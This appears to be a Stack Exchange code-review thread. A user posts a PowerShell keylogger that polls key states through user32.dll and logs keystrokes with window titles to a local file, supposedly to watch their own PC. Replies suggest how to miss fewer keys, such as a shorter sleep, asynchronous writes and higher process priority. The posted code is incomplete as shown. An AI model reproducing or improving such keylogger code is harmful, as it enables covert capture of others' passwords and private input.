I got a keylogger Powershell script to protocol my input, since I'm quite paranoid if someone uses my PC.

However, some letters (I have an anti-ghosting keyboard) are swallowed if I type them in fast. Does anyone see a bottleneck here? I believe it's either the fact that:

  • it can't recognize keys pressed at the same time, or
  • The Out-File causes the bottleneck so it doesnt write fast enough.

My question is, how I improve it to capture ALL key inputs?

function KeyLog {

    $MAPVK_VK_TO_VSC = 0x00

    $MAPVK_VSC_TO_VK = 0x01

    $MAPVK_VK_TO_CHAR = 0x02

    $MAPVK_VSC_TO_VK_EX = 0x03

    $MAPVK_VK_TO_VSC_EX = 0x04

    $virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 
public static extern short GetAsyncKeyState(int virtualKeyCode); 

    $kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);

    $mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);

    $tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
public static extern IntPtr GetForegroundWindow();

    $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
    $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
    $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
    $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
    $getForeground = Add-Type -MemberDefinition $foreground_sig -name "Win32MyForeground" -namespace Win32Functions -passThru
    while ($true) {
        Start-Sleep -Milliseconds 40
        $gotit = ""

        for ($char = 1; $char -le 254; $char++) {
            $vkey = $char
            $gotit = $getKeyState::GetAsyncKeyState($vkey)

            if ($gotit -eq -32767) {

                $l_shift = $getKeyState::GetAsyncKeyState(160)
                $r_shift = $getKeyState::GetAsyncKeyState(161)
                $caps_lock = [console]::CapsLock

                $scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)

                $kbstate = New-Object Byte[] 256
                $checkkbstate = $getKBState::GetKeyboardState($kbstate)

                $mychar = New-Object -TypeName "System.Text.StringBuilder";
                $unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)

                if ($unicode_res -gt 0) {
                try {            
                $ActiveHandle = $getForeground::GetForegroundWindow()            
                $Process = Get-Process | ? {$_.MainWindowHandle -eq $activeHandle}  

                $Process | Select ProcessName, @{Name="AppTitle";Expression= {($_.MainWindowTitle)}}  

                $title = $Process.MainWindowTitle
                $logfile = "key.log"
                    $timestamp = (Get-Date -format MM/dd/yy` hh:mm:ss)

                    Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject "$timestamp | $title | $mychar "
                } catch {            
                 Write-Error "Failed to get active Window details. More Info: $_"            


  • \$\begingroup\$ This might go beyond the scope of this site, but here it goes. If your script becomes too difficult to manage, you can instead use NirCmd with a powershell/batch/vbscript to take screen shots with the time/date appended. This way you can verify that someone was indeed using your computer. This is just an alternative to your keylog script, I'm not saying you should do this instead, just an idea to think about. \$\endgroup\$
    – user150904
    Oct 28, 2017 at 16:18

1 Answer 1


Some thougts:

  • above all, using a user-level code pulling keyboard state periodically is much less reliable then kernel-level driver which OS pushes key events to
  • 40 milliseconds sleep is much too high
  • if you could open the file handle once instead of each time a key is pressed, you'd get a significant performance boost, at the cost of taking care to close file after the script stops
  • if you could do file writing asynchronously (e.g. in a dedicated thread or leveraging an async API), this would reduce the risk of missing a key press because of I/O blocking
  • using a sound timer API allows resolution much better than what is achievable with thread sleeps
  • maybe it's worth increasing priority of the keylogger process, to reduce the risk of missing key due to thread context switch

(thanks Sam for your corrections)

  • \$\begingroup\$ Would a buffer which captures like 100 chars and then push them to the file be a solution too? I see a problem if the file isn’t closed. \$\endgroup\$
    – 0x45
    Oct 28, 2017 at 16:21
  • \$\begingroup\$ Buffer is a solution if file IO is performed async, otherwise keys will be missed less frequently, but more probably - in the moment of buffer flush \$\endgroup\$ Oct 28, 2017 at 16:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.